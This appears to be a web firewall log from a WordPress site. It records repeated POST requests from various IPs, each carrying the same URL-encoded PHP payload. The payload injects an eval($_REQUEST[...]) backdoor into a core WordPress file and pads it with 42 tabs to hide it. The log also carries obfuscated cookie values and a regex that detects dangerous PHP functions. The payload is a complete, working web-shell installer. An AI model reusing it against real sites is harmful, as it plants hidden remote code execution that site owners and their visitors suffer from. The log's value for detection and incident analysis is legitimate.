3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJxbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nZJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrpyUJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:57:00","141.98.11.117","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> OH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrpyUJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:2061\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG0tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nOH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrpyUJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:57:13","46.62.254.35","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> TK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrpyUJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIRfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:2061\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nTK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrpyUJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:57:31","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrpyUJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:2061\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvESLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nDV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrpyUJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:57:36","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> NY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrpyUJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:2061\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGyxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nNY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrpyUJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:57:47","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrpyUJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2084\nhost:dewenlabels.com\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527VrpyUJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
